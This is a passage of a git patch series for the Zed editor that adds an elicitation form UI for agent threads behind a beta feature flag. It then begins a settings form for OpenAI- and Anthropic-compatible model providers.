+                                "elicitation-multi-{}-{field_name}-{}",
+                                self.entry_ix, option.value
+                            );
+                            h_flex()
+                                .id(SharedString::from(format!(
+                                    "elicitation-multi-option-{}-{field_name}-{}",
+                                    self.entry_ix, option.value
+                                )))
+                                .w_full()
+                                .min_h(rems_from_px(28.))
+                                .items_center()
+                                .gap_2()
+                                .rounded_sm()
+                                .border_1()
+                                .border_color(field_border_color.opacity(0.5))
+                                .bg(row_background)
+                                .px_2()
+                                .py_1()
+                                .hover(move |this| this.bg(hover_background).cursor_pointer())
+                                .on_click(move |_, _window, cx| {
+                                    on_multi_select_change(
+                                        elicitation_id.clone(),
+                                        field_name.clone(),
+                                        value.clone(),
+                                        !is_selected,
+                                        cx,
+                                    );
+                                })
+                                .child(Checkbox::new(checkbox_id, checkbox_state))
+                                .child(Label::new(option.label).size(LabelSize::Small).truncate())
+                        }))
+                        .into_any_element()
+                }
+            })
+            .when_some(error.cloned(), |this, error| {
+                this.child(Label::new(error).size(LabelSize::Small).color(Color::Error))
+            })
+            .into_any_element()
+    }
+
+    fn render_single_select(
+        &self,
+        field_name: &str,
+        selected_value: Option<&String>,
+        options: Vec<ElicitationOption>,
+        has_error: bool,
+        cx: &App,
+    ) -> AnyElement {
+        let entry_ix = self.entry_ix;
+        let border_color = if has_error {
+            Color::Error.color(cx)
+        } else {
+            cx.theme().colors().border.opacity(0.8)
+        };
+        let elicitation_id = self.elicitation.id.clone();
+        let field_name = field_name.to_string();
+        let on_single_select_change = self.handlers.on_single_select_change.clone();
+
+        v_flex()
+            .gap_1()
+            .children(options.into_iter().map(move |option| {
+                let option_value = option.value.clone();
+                let option_id =
+                    format!("elicitation-select-option-{entry_ix}-{field_name}-{option_value}");
+                let is_selected =
+                    selected_value.is_some_and(|selected_value| selected_value == &option.value);
+                let row_background = Self::option_row_background(is_selected, cx);
+                let hover_background = Self::option_row_hover_background(is_selected, cx);
+                let control_background = Self::option_control_background(cx);
+                let elicitation_id = elicitation_id.clone();
+                let field_name = field_name.clone();
+                let on_single_select_change = on_single_select_change.clone();
+
+                h_flex()
+                    .id(option_id)
+                    .w_full()
+                    .min_h(rems_from_px(28.))
+                    .items_center()
+                    .gap_2()
+                    .rounded_sm()
+                    .border_1()
+                    .border_color(border_color.opacity(0.5))
+                    .bg(row_background)
+                    .px_2()
+                    .py_1()
+                    .hover(move |this| this.bg(hover_background).cursor_pointer())
+                    .on_click(move |_, _window, cx| {
+                        on_single_select_change(
+                            elicitation_id.clone(),
+                            field_name.clone(),
+                            option_value.clone(),
+                            cx,
+                        );
+                    })
+                    .child(Self::render_radio_indicator(
+                        is_selected,
+                        border_color,
+                        control_background,
+                    ))
+                    .child(Label::new(option.label).size(LabelSize::Small).truncate())
+            }))
+            .into_any_element()
+    }
+
+    fn option_row_background(is_selected: bool, cx: &App) -> Hsla {
+        let editor_background = cx.theme().colors().editor_background;
+        if is_selected {
+            editor_background.blend(Color::Accent.color(cx).opacity(0.08))
+        } else {
+            editor_background
+        }
+    }
+
+    fn option_row_hover_background(is_selected: bool, cx: &App) -> Hsla {
+        let editor_background = cx.theme().colors().editor_background;
+        if is_selected {
+            editor_background.blend(Color::Accent.color(cx).opacity(0.1))
+        } else {
+            cx.theme()
+                .colors()
+                .element_background
+                .blend(cx.theme().colors().editor_foreground.opacity(0.025))
+        }
+    }
+
+    fn option_control_background(cx: &App) -> Hsla {
+        cx.theme().colors().editor_background
+    }
+
+    fn render_radio_indicator(is_selected: bool, border_color: Hsla, background: Hsla) -> Div {
+        div()
+            .size_3()
+            .flex()
+            .items_center()
+            .justify_center()
+            .rounded_full()
+            .border_1()
+            .border_color(border_color)
+            .bg(background)
+            .when(is_selected, |this| {
+                this.child(Indicator::dot().color(Color::Accent))
+            })
+    }
+
+    fn render_url_elicitation(&self, mode: &acp::ElicitationUrlMode) -> AnyElement {
+        v_flex()
+            .gap_2()
+            .child(Self::render_url_summary(&mode.url))
+            .into_any_element()
+    }
+
+    fn render_url_summary(url: &str) -> AnyElement {
+        h_flex()
+            .gap_1()
+            .w_full()
+            .min_w_0()
+            .items_start()
+            .child(
+                div().h(rems_from_px(16.)).flex().items_center().child(
+                    Icon::new(IconName::Link)
+                        .size(IconSize::XSmall)
+                        .color(Color::Muted),
+                ),
+            )
+            .child(h_flex().min_w_0().flex_1().flex_wrap().children(
+                display_url_segments(url).into_iter().map(|segment| {
+                    Label::new(segment)
+                        .size(LabelSize::Small)
+                        .color(Color::Muted)
+                }),
+            ))
+            .into_any_element()
+    }
+
+    fn render_actions(&self, cx: &App) -> AnyElement {
+        let open_url = match &self.elicitation.request.mode {
+            acp::ElicitationMode::Url(mode) => Some(mode.url.clone()),
+            _ => None,
+        };
+        let (accept_label, accept_icon, accept_icon_color) = if open_url.is_some() {
+            ("Open", IconName::ArrowUpRight, Color::Muted)
+        } else {
+            ("Submit", IconName::Check, Color::Success)
+        };
+        let border_color = cx.theme().colors().border.opacity(0.8);
+        let on_submit = self.handlers.on_submit.clone();
+        let on_open_url = self.handlers.on_open_url.clone();
+        let on_decline = self.handlers.on_decline.clone();
+        let on_cancel = self.handlers.on_cancel.clone();
+        let submit_id = self.elicitation.id.clone();
+        let decline_id = self.elicitation.id.clone();
+        let cancel_id = self.elicitation.id.clone();
+
+        h_flex()
+            .w_full()
+            .p_1()
+            .gap_1()
+            .justify_end()
+            .border_t_1()
+            .border_color(border_color)
+            .child(
+                Button::new(("elicitation-accept", self.entry_ix), accept_label)
+                    .start_icon(
+                        Icon::new(accept_icon)
+                            .size(IconSize::XSmall)
+                            .color(accept_icon_color),
+                    )
+                    .label_size(LabelSize::Small)
+                    .on_click(move |_, window, cx| {
+                        if let Some(url) = &open_url {
+                            on_open_url(submit_id.clone(), url.clone(), window, cx);
+                        } else {
+                            on_submit(submit_id.clone(), window, cx);
+                        }
+                    }),
+            )
+            .child(
+                Button::new(("elicitation-decline", self.entry_ix), "Decline")
+                    .start_icon(
+                        Icon::new(IconName::Close)
+                            .size(IconSize::XSmall)
+                            .color(Color::Error),
+                    )
+                    .label_size(LabelSize::Small)
+                    .on_click(move |_, window, cx| {
+                        on_decline(decline_id.clone(), window, cx);
+                    }),
+            )
+            .child(
+                Button::new(("elicitation-cancel", self.entry_ix), "Cancel")
+                    .label_size(LabelSize::Small)
+                    .on_click(move |_, window, cx| {
+                        on_cancel(cancel_id.clone(), window, cx);
+                    }),
+            )
+            .into_any_element()
+    }
+}
diff --git a/crates/agent_ui/src/conversation_view/thread_search_bar.rs b/crates/agent_ui/src/conversation_view/thread_search_bar.rs
index f936edcd35a064..643cceda36a003 100644
--- a/crates/agent_ui/src/conversation_view/thread_search_bar.rs
+++ b/crates/agent_ui/src/conversation_view/thread_search_bar.rs
@@ -946,6 +946,7 @@ fn collect_markdowns(
                 out.push(summary.clone());
             }
         }
+        AgentThreadEntry::Elicitation(_) => {}
         AgentThreadEntry::ContextCompaction(_) => {}
     }
     out
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 16b6b60875d1c6..8720ff145c02d7 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -9,8 +9,8 @@ use agent_client_protocol::schema::v1 as acp;
 use std::cell::RefCell;
 
 use acp_thread::{
-    PlanEntry, SandboxAuthorizationDetails, SandboxFallbackAuthorizationDetails,
-    SandboxNotAppliedReason,
+    Elicitation, ElicitationEntryId, ElicitationStatus, PlanEntry, SandboxAuthorizationDetails,
+    SandboxFallbackAuthorizationDetails, SandboxNotAppliedReason,
 };
 use agent::{
     SandboxStatusKey, SandboxStatusRefresh, SkillLoadingIssue, SkillLoadingIssueKind,
@@ -20,6 +20,7 @@ use agent_settings::UserAgentsMd;
 use agent_skills::MAX_SKILL_DESCRIPTION_LEN;
 use cloud_api_types::{SubmitAgentThreadFeedbackBody, SubmitAgentThreadFeedbackCommentsBody};
 use editor::actions::OpenExcerpts;
+use feature_flags::{AcpBetaFeatureFlag, FeatureFlagAppExt as _};
 use sandbox::{GitSandboxPolicy, SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy};
 
 use crate::completion_provider::AvailableSkill;
@@ -42,6 +43,9 @@ use ui::{
 };
 use workspace::{OpenOptions, SERIALIZATION_THROTTLE_TIME};
 
+use super::elicitation::{
+    ElicitationCard, ElicitationCardHandlers, ElicitationFormState, should_render_elicitation,
+};
 use super::*;
 
 const DATA_RETENTION_LEARN_MORE_URL: &str = "https://support.claude.com/en/articles/15425996-data-retention-practices-for-mythos-class-models";
@@ -598,6 +602,7 @@ pub struct ThreadView {
     pub new_server_version_available: Option<SharedString>,
     pub resumed_without_history: bool,
     pub(crate) permission_selections: HashMap<acp::ToolCallId, PermissionSelection>,
+    elicitation_form_states: HashMap<ElicitationEntryId, ElicitationFormState>,
     pub _cancel_task: Option<Task<()>>,
     _save_task: Option<Task<()>>,
     _draft_resolve_task: Option<Task<()>>,
@@ -989,6 +994,7 @@ impl ThreadView {
             is_loading_contents: false,
             new_server_version_available: None,
             permission_selections: HashMap::default(),
+            elicitation_form_states: HashMap::default(),
             _cancel_task: None,
             _save_task: None,
             _draft_resolve_task: None,
@@ -1016,6 +1022,7 @@ impl ThreadView {
 
         this.sync_generating_indicator(cx);
         this.sync_editor_mode_for_empty_state(cx);
+        this.sync_existing_elicitation_states(window, cx);
         let list_state_for_scroll = this.list_state.clone();
         let thread_view = cx.entity().downgrade();
 
@@ -2480,15 +2487,182 @@ impl ThreadView {
         Some(())
     }
 
-    fn is_waiting_for_confirmation(entry: &AgentThreadEntry) -> bool {
-        if let AgentThreadEntry::ToolCall(tool_call) = entry {
-            matches!(
-                tool_call.status,
-                ToolCallStatus::WaitingForConfirmation { .. }
+    fn is_waiting_for_confirmation(&self, entry: &AgentThreadEntry, cx: &Context<Self>) -> bool {
+        match entry {
+            AgentThreadEntry::ToolCall(tool_call) => {
+                matches!(
+                    tool_call.status,
+                    ToolCallStatus::WaitingForConfirmation { .. }
+                )
+            }
+            AgentThreadEntry::Elicitation(elicitation_id) => {
+                cx.has_flag::<AcpBetaFeatureFlag>()
+                    && self
+                        .thread
+                        .read(cx)
+                        .elicitation(elicitation_id)
+                        .is_some_and(|(_, elicitation)| {
+                            matches!(elicitation.status, ElicitationStatus::Pending { .. })
+                        })
+            }
+            _ => false,
+        }
+    }
+
+    pub fn sync_elicitation_state_for_entry(
+        &mut self,
+        index: usize,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let elicitation_id = {
+            let thread = self.thread.read(cx);
+            let Some(AgentThreadEntry::Elicitation(elicitation_id)) = thread.entries().get(index)
+            else {
+                return;
+            };
+            elicitation_id.clone()
+        };
+
+        if !cx.has_flag::<AcpBetaFeatureFlag>() {
+            self.elicitation_form_states.remove(&elicitation_id);
+            return;
+        }
+
+        let thread = self.thread.read(cx);
+        let entry = thread.elicitation(&elicitation_id).map(|(_, elicitation)| {
+            (
+                elicitation_id.clone(),
+                matches!(elicitation.status, ElicitationStatus::Pending { .. }),
+                match &elicitation.request.mode {
+                    acp::ElicitationMode::Form(mode) => Some(mode.requested_schema.clone()),
+                    _ => None,
+                },
             )
-        } else {
-            false
+        });
+
+        let Some((id, is_pending, schema)) = entry else {
+            return;
+        };
+
+        if is_pending
+            && let Some(schema) = schema
+            && !self.elicitation_form_states.contains_key(&id)
+        {
+            self.elicitation_form_states
+                .insert(id, ElicitationFormState::new(&schema, window, cx));
+        } else if !is_pending {
+            self.elicitation_form_states.remove(&id);
+        }
+    }
+
+    fn sync_existing_elicitation_states(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        let entry_count = self.thread.read(cx).entries().len();
+        for index in 0..entry_count {
+            self.sync_elicitation_state_for_entry(index, window, cx);
+        }
+    }
+
+    #[cfg(test)]
+    pub(crate) fn has_elicitation_form_state(&self, id: &ElicitationEntryId) -> bool {
+        self.elicitation_form_states.contains_key(id)
+    }
+
+    fn submit_elicitation(
+        &mut self,
+        elicitation_id: ElicitationEntryId,
+        _window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if !cx.has_flag::<AcpBetaFeatureFlag>() {
+            return;
+        }
+
+        let mode = self
+            .thread
+            .read(cx)
+            .elicitation(&elicitation_id)
+            .map(|(_, elicitation)| elicitation.request.mode.clone());
+
+        let Some(mode) = mode else {
+            return;
+        };
+
+        let response = match mode {
+            acp::ElicitationMode::Form(mode) => {
+                let Some(state) = self.elicitation_form_states.get(&elicitation_id) else {
+                    return;
+                };
+                match state.collect(&mode.requested_schema, cx) {
+                    Ok(content) => {
+                        acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
+                            acp::ElicitationAcceptAction::new().content(content),
+                        ))
+                    }
+                    Err(errors) => {
+                        if let Some(state) = self.elicitation_form_states.get_mut(&elicitation_id) {
+                            state.set_errors(errors);
+                        }
+                        cx.notify();
+                        return;
+                    }
+                }
+            }
+            acp::ElicitationMode::Url(_) => acp::CreateElicitationResponse::new(
+                acp::ElicitationAction::Accept(acp::ElicitationAcceptAction::new()),
+            ),
+            _ => return,
+        };
+
+        self.respond_to_elicitation(elicitation_id, response, cx);
+    }
+
+    fn decline_elicitation(
+        &mut self,
+        elicitation_id: ElicitationEntryId,
+        _window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if !cx.has_flag::<AcpBetaFeatureFlag>() {
+            return;
+        }
+
+        self.respond_to_elicitation(
+            elicitation_id,
+            acp::CreateElicitationResponse::new(acp::ElicitationAction::Decline),
+            cx,
+        );
+    }
+
+    fn cancel_elicitation(
+        &mut self,
+        elicitation_id: ElicitationEntryId,
+        _window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if !cx.has_flag::<AcpBetaFeatureFlag>() {
+            return;
         }
+
+        self.respond_to_elicitation(
+            elicitation_id,
+            acp::CreateElicitationResponse::new(acp::ElicitationAction::Cancel),
+            cx,
+        );
+    }
+
+    fn respond_to_elicitation(
+        &mut self,
+        elicitation_id: ElicitationEntryId,
+        response: acp::CreateElicitationResponse,
+        cx: &mut Context<Self>,
+    ) {
+        let session_id = self.session_id.clone();
+        self.elicitation_form_states.remove(&elicitation_id);
+        self.conversation.update(cx, |conversation, cx| {
+            conversation.respond_to_elicitation(session_id, elicitation_id, response, cx);
+        });
+        cx.notify();
     }
 
     fn handle_authorize_tool_call(
@@ -5859,7 +6033,7 @@ impl ThreadView {
                 } else if this.generating_indicator_in_list {
                     let confirmation = entries
                         .last()
-                        .is_some_and(|entry| Self::is_waiting_for_confirmation(entry));
+                        .is_some_and(|entry| this.is_waiting_for_confirmation(entry, cx));
                     let rendered = this.render_generating(confirmation, cx);
                     centered_container(rendered.into_any_element()).into_any_element()
                 } else {
@@ -6178,6 +6352,28 @@ impl ThreadView {
                     tool_call.into_any()
                 }
             }
+            AgentThreadEntry::Elicitation(elicitation_id) => {
+                let thread = self.thread.read(cx);
+                if cx.has_flag::<AcpBetaFeatureFlag>()
+                    && let Some((_, elicitation)) = thread.elicitation(elicitation_id)
+                    && should_render_elicitation(elicitation)
+                {
+                    let elicitation = self.render_elicitation(entry_ix, elicitation, window, cx);
+
+                    if let Some(handle) = self
+                        .entry_view_state
+                        .read(cx)
+                        .entry(entry_ix)
+                        .and_then(|entry| entry.focus_handle(cx))
+                    {
+                        elicitation.track_focus(&handle).into_any()
+                    } else {
+                        elicitation.into_any()
+                    }
+                } else {
+                    Empty.into_any()
+                }
+            }
             AgentThreadEntry::CompletedPlan(entries) => {
                 self.render_completed_plan(entries, window, cx)
             }
@@ -6251,7 +6447,7 @@ impl ThreadView {
             primary
         };
 
-        let needs_confirmation = Self::is_waiting_for_confirmation(entry);
+        let needs_confirmation = self.is_waiting_for_confirmation(entry, cx);
 
         let comments_editor = self.thread_feedback.comments_editor.clone();
 
@@ -6295,6 +6491,99 @@ impl ThreadView {
         }
     }
 
+    fn render_elicitation(
+        &self,
+        entry_ix: usize,
+        elicitation: &Elicitation,
+        _window: &Window,
+        cx: &Context<Self>,
+    ) -> Div {
+        ElicitationCard::new(
+            entry_ix,
+            elicitation,
+            self.elicitation_form_states.get(&elicitation.id),
+            self.elicitation_card_handlers(cx),
+        )
+        .render(cx)
+    }
+
+    fn elicitation_card_handlers(&self, cx: &Context<Self>) -> ElicitationCardHandlers {
+        let view = cx.entity().downgrade();
+
+        ElicitationCardHandlers::new(
+            {
+                let view = view.clone();
+                move |elicitation_id, window, cx| {
+                    view.update(cx, |this, cx| {
+                        this.submit_elicitation(elicitation_id, window, cx);
+                    })
+                    .log_err();
+                }
+            },
+            {
+                let view = view.clone();
+                move |elicitation_id, window, cx| {
+                    view.update(cx, |this, cx| {
+                        this.decline_elicitation(elicitation_id, window, cx);
+                    })
+                    .log_err();
+                }
+            },
+            {
+                let view = view.clone();
+                move |elicitation_id, window, cx| {
+                    view.update(cx, |this, cx| {
+                        this.cancel_elicitation(elicitation_id, window, cx);
+                    })
+                    .log_err();
+                }
+            },
+            {
+                let view = view.clone();
+                move |elicitation_id, url, window, cx| {
+                    cx.open_url(&url);
+                    view.update(cx, |this, cx| {
+                        this.submit_elicitation(elicitation_id, window, cx);
+                    })
+                    .log_err();
+                }
+            },
+            {
+                let view = view.clone();
+                move |elicitation_id, field_name, value, cx| {
+                    view.update(cx, |this, cx| {
+                        if let Some(form) = this.elicitation_form_states.get_mut(&elicitation_id) {
+                            form.set_boolean(&field_name, value);
+                            cx.notify();
+                        }
+                    })
+                    .log_err();
+                }
+            },
+            {
+                let view = view.clone();
+                move |elicitation_id, field_name, value, cx| {
+                    view.update(cx, |this, cx| {
+                        if let Some(form) = this.elicitation_form_states.get_mut(&elicitation_id) {
+                            form.set_single_select(&field_name, value);
+                            cx.notify();
+                        }
+                    })
+                    .log_err();
+                }
+            },
+            move |elicitation_id, field_name, value, selected, cx| {
+                view.update(cx, |this, cx| {
+                    if let Some(form) = this.elicitation_form_states.get_mut(&elicitation_id) {
+                        form.set_multi_select(&field_name, value, selected);
+                        cx.notify();
+                    }
+                })
+                .log_err();
+            },
+        )
+    }
+
     fn render_feedback_feedback_editor(editor: Entity<Editor>, cx: &Context<Self>) -> Div {
         h_flex()
             .key_context("AgentFeedbackMessageEditor")
@@ -6506,6 +6795,19 @@ impl ThreadView {
             .into_any_element()
     }
 
+    fn render_request_elicitations(&self, cx: &Context<Self>) -> Vec<AnyElement> {
+        let server_view = self.server_view.clone();
+        let handlers_view = server_view.clone();
+        server_view
+            .read_with(cx, |server_view, cx| {
+                let Some(connection) = server_view.request_elicitation_connection() else {
+                    return Vec::new();
+                };
+                server_view.render_request_elicitations(&connection, handlers_view, cx)
+            })
+            .unwrap_or_default()
+    }
+
     pub(crate) fn scroll_to_most_recent_user_prompt(&mut self, cx: &mut Context<Self>) {
         let entries = self.thread.read(cx).entries();
         if entries.is_empty() {
@@ -7241,6 +7543,7 @@ impl ThreadView {
                     }
                 }
                 AgentThreadEntry::ToolCall(_)
+                | AgentThreadEntry::Elicitation(_)
                 | AgentThreadEntry::AssistantMessage(_)
                 | AgentThreadEntry::CompletedPlan(_)
                 | AgentThreadEntry::ContextCompaction(_) => {}
@@ -11642,6 +11945,7 @@ impl Render for ThreadView {
                 |this, version| this.child(self.render_new_version_callout(&version, cx)),
             )
             .children(self.render_token_limit_callout(cx))
+            .children(self.render_request_elicitations(cx))
             .child(self.render_message_editor(window, cx))
     }
 }
diff --git a/crates/agent_ui/src/entry_view_state.rs b/crates/agent_ui/src/entry_view_state.rs
index d19a1067baeeea..e2ad7ca71ecb34 100644
--- a/crates/agent_ui/src/entry_view_state.rs
+++ b/crates/agent_ui/src/entry_view_state.rs
@@ -377,6 +377,16 @@ impl EntryViewState {
                     });
                 }
             }
+            AgentThreadEntry::Elicitation(_) => {
+                if !matches!(self.entries.get(index), Some(Entry::Elicitation { .. })) {
+                    self.set_entry(
+                        index,
+                        Entry::Elicitation {
+                            focus_handle: cx.focus_handle(),
+                        },
+                    );
+                }
+            }
             AgentThreadEntry::AssistantMessage(message) => {
                 let entry = if let Some(Entry::AssistantMessage(entry)) =
                     self.entries.get_mut(index)
@@ -452,6 +462,7 @@ impl EntryViewState {
             match entry {
                 Entry::UserMessage { .. }
                 | Entry::AssistantMessage { .. }
+                | Entry::Elicitation { .. }
                 | Entry::CompletedPlan
                 | Entry::ContextCompaction => {}
                 Entry::ToolCall(ToolCallEntry { content, .. }) => {
@@ -521,6 +532,7 @@ pub enum Entry {
     UserMessage(Entity<MessageEditor>),
     AssistantMessage(AssistantMessageEntry),
     ToolCall(ToolCallEntry),
+    Elicitation { focus_handle: FocusHandle },
     CompletedPlan,
     ContextCompaction,
 }
@@ -531,6 +543,7 @@ impl Entry {
             Self::UserMessage(editor) => Some(editor.read(cx).focus_handle(cx)),
             Self::AssistantMessage(message) => Some(message.focus_handle.clone()),
             Self::ToolCall(tool_call) => Some(tool_call.focus_handle.clone()),
+            Self::Elicitation { focus_handle } => Some(focus_handle.clone()),
             Self::CompletedPlan | Self::ContextCompaction => None,
         }
     }
@@ -540,6 +553,7 @@ impl Entry {
             Self::UserMessage(editor) => Some(editor),
             Self::AssistantMessage(_)
             | Self::ToolCall(_)
+            | Self::Elicitation { .. }
             | Self::CompletedPlan
             | Self::ContextCompaction => None,
         }
@@ -570,6 +584,7 @@ impl Entry {
             Self::AssistantMessage(message) => message.scroll_handle_for_chunk(chunk_ix),
             Self::UserMessage(_)
             | Self::ToolCall(_)
+            | Self::Elicitation { .. }
             | Self::CompletedPlan
             | Self::ContextCompaction => None,
         }
@@ -588,6 +603,7 @@ impl Entry {
             Self::ToolCall(ToolCallEntry { content, .. }) => !content.is_empty(),
             Self::UserMessage(_)
             | Self::AssistantMessage(_)
+            | Self::Elicitation { .. }
             | Self::CompletedPlan
             | Self::ContextCompaction => false,
         }
@@ -606,6 +622,7 @@ impl Focusable for Entry {
             Self::UserMessage(editor) => editor.read(cx).focus_handle(cx),
             Self::AssistantMessage(message) => message.focus_handle.clone(),
             Self::ToolCall(tool_call) => tool_call.focus_handle.clone(),
+            Self::Elicitation { focus_handle } => focus_handle.clone(),
             Self::CompletedPlan | Self::ContextCompaction => cx.focus_handle(),
         }
     }
@@ -693,11 +710,12 @@ mod tests {
     use agent_client_protocol::schema::v1 as acp;
     use buffer_diff::{DiffHunkStatus, DiffHunkStatusKind};
     use editor::RowInfo;
+    use feature_flags::{AcpBetaFeatureFlag, FeatureFlag as _, FeatureFlagAppExt as _};
     use fs::FakeFs;
     use gpui::{AppContext as _, TestAppContext};
     use parking_lot::RwLock;
 
-    use crate::entry_view_state::EntryViewState;
+    use crate::entry_view_state::{Entry, EntryViewState};
     use crate::message_editor::SessionCapabilities;
     use multi_buffer::MultiBufferRow;
     use pretty_assertions::assert_matches;
@@ -829,9 +847,90 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_hidden_elicitation_preserves_entry_index(cx: &mut TestAppContext) {
+        init_test(cx);
+        cx.update(|cx| {
+            cx.update_flags(false, vec![AcpBetaFeatureFlag::NAME.to_string()]);
+        });
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree("/project", json!({})).await;
+        let project = Project::test(fs, [Path::new(path!("/project"))], cx).await;
+
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+
+        let connection = Rc::new(StubAgentConnection::new());
+        let thread = cx
+            .update(|_, cx| {
+                connection.clone().new_session(
+                    project.clone(),
+                    PathList::new(&[Path::new(path!("/project"))]),
+                    cx,
+                )
+            })
+            .await
+            .unwrap();
+        let session_id = thread.update(cx, |thread, _| thread.session_id().clone());
+
+        let _response_task = thread.update(cx, |thread, cx| {
+            thread
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationFormMode::new(
+                            acp::ElicitationSessionScope::new(session_id.clone()),
+                            acp::ElicitationSchema::new().string("name", true),
+                        ),
+                        "Provide a name",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+        cx.update(|_, cx| {
+            connection.send_update(
+                session_id,
+                acp::SessionUpdate::AgentMessageChunk(acp::ContentChunk::new(
+                    acp::ContentBlock::Text(acp::TextContent::new("hello")),
+                )),
+                cx,
+            );
+            cx.update_flags(false, vec![]);
+        });
+
+        let view_state = cx.new(|_cx| {
+            EntryViewState::new(
+                workspace.downgrade(),
+                project.downgrade(),
+                None,
+                Arc::new(RwLock::new(SessionCapabilities::default())),
+                "Test Agent".into(),
+            )
+        });
+
+        view_state.update_in(cx, |view_state, window, cx| {
+            view_state.sync_entry(0, &thread, window, cx);
+            view_state.sync_entry(1, &thread, window, cx);
+        });
+
+        view_state.read_with(cx, |view_state, _cx| {
+            assert!(matches!(
+                view_state.entry(0),
+                Some(Entry::Elicitation { .. })
+            ));
+            assert!(matches!(
+                view_state.entry(1),
+                Some(Entry::AssistantMessage(_))
+            ));
+        });
+    }
+
     fn init_test(cx: &mut TestAppContext) {
         cx.update(|cx| {
-            let settings_store = SettingsStore::test(cx);
+            let mut settings_store = SettingsStore::test(cx);
+            settings_store.register_setting::<feature_flags::FeatureFlagsSettings>();
             cx.set_global(settings_store);
             theme_settings::init(theme::LoadThemes::JustBase, cx);
             release_channel::init(semver::Version::new(0, 0, 0), cx);

From 15c31d4147fe8c5d12c1844bbba19d300ec2840e Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Wed, 1 Jul 2026 16:31:46 +0200
Subject: [PATCH 190/772] settings_ui: Add OpenAI/Anthropic API-compatible
 provider form (#60195)

Release Notes:

- N/A

---------

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
---
 .../src/provider/anthropic_compatible.rs      |    5 +
 .../src/provider/api_compatible.rs            |   38 +-
 .../src/provider/open_ai_compatible.rs        |    5 +
 crates/settings_ui/src/pages.rs               |    4 +-
 .../src/pages/llm_providers_page.rs           | 1023 ++++++++++++++++-
 crates/settings_ui/src/settings_ui.rs         |   25 +-
 6 files changed, 1044 insertions(+), 56 deletions(-)

diff --git a/crates/language_models/src/provider/anthropic_compatible.rs b/crates/language_models/src/provider/anthropic_compatible.rs
index 38f31d2d7a83f5..b07900453243d7 100644
--- a/crates/language_models/src/provider/anthropic_compatible.rs
+++ b/crates/language_models/src/provider/anthropic_compatible.rs
@@ -199,6 +199,11 @@ impl LanguageModelProvider for AnthropicCompatibleLanguageModelProvider {
         .into()
     }
 
+    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
+        self.state
+            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
+    }
+
     fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
         self.state
             .update(cx, |state, cx| state.set_api_key(None, cx))
diff --git a/crates/language_models/src/provider/api_compatible.rs b/crates/language_models/src/provider/api_compatible.rs
index e186f0baf956d0..f8b4e731c8f24d 100644
--- a/crates/language_models/src/provider/api_compatible.rs
+++ b/crates/language_models/src/provider/api_compatible.rs
@@ -178,6 +178,23 @@ impl<S: ApiCompatibleProviderSettings> ApiCompatibleProviderConfigurationView<S>
         .detach_and_log_err(cx);
     }
 
+    fn remove_provider(&mut self, _: &mut Window, cx: &mut Context<Self>) {
+        let id = self.state.read(cx).id.clone();
+        let fs = <dyn fs::Fs>::global(cx);
+        settings::update_settings_file(fs, cx, move |settings, _| {
+            let Some(language_models) = settings.language_models.as_mut() else {
+                return;
+            };
+
+            if let Some(providers) = language_models.openai_compatible.as_mut() {
+                providers.remove(id.as_ref());
+            }
+            if let Some(providers) = language_models.anthropic_compatible.as_mut() {
+                providers.remove(id.as_ref());
+            }
+        });
+    }
+
     fn should_render_editor(&self, cx: &Context<Self>) -> bool {
         !self.state.read(cx).is_authenticated()
     }
@@ -256,7 +273,26 @@ impl<S: ApiCompatibleProviderSettings> Render for ApiCompatibleProviderConfigura
         if self.load_credentials_task.is_some() {
             div().child(Label::new("Loading credentials…")).into_any()
         } else {
-            v_flex().size_full().child(api_key_section).into_any()
+            v_flex()
+                .size_full()
+                .gap_4()
+                .child(api_key_section)
+                .child(
+                    h_flex().w_full().justify_end().child(
+                        Button::new("remove-compatible-provider", "Remove Provider")
+                            .style(ButtonStyle::OutlinedGhost)
+                            .label_size(LabelSize::Small)
+                            .start_icon(
+                                Icon::new(IconName::Trash)
+                                    .size(IconSize::Small)
+                                    .color(Color::Muted),
+                            )
+                            .on_click(cx.listener(|this, _event, window, cx| {
+                                this.remove_provider(window, cx)
+                            })),
+                    ),
+                )
+                .into_any()
         }
     }
 }
diff --git a/crates/language_models/src/provider/open_ai_compatible.rs b/crates/language_models/src/provider/open_ai_compatible.rs
index 847978b7955bfd..e0c6f1f16ea1fb 100644
--- a/crates/language_models/src/provider/open_ai_compatible.rs
+++ b/crates/language_models/src/provider/open_ai_compatible.rs
@@ -162,6 +162,11 @@ impl LanguageModelProvider for OpenAiCompatibleLanguageModelProvider {
         .into()
     }
 
+    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
+        self.state
+            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
+    }
+
     fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
         self.state
             .update(cx, |state, cx| state.set_api_key(None, cx))
diff --git a/crates/settings_ui/src/pages.rs b/crates/settings_ui/src/pages.rs
index 407343365ea711..6038a5eaa16929 100644
--- a/crates/settings_ui/src/pages.rs
+++ b/crates/settings_ui/src/pages.rs
@@ -19,7 +19,9 @@ pub(crate) use external_agents_page::{
     CustomAgentForm, render_add_agent_popover, render_external_agents_page,
 };
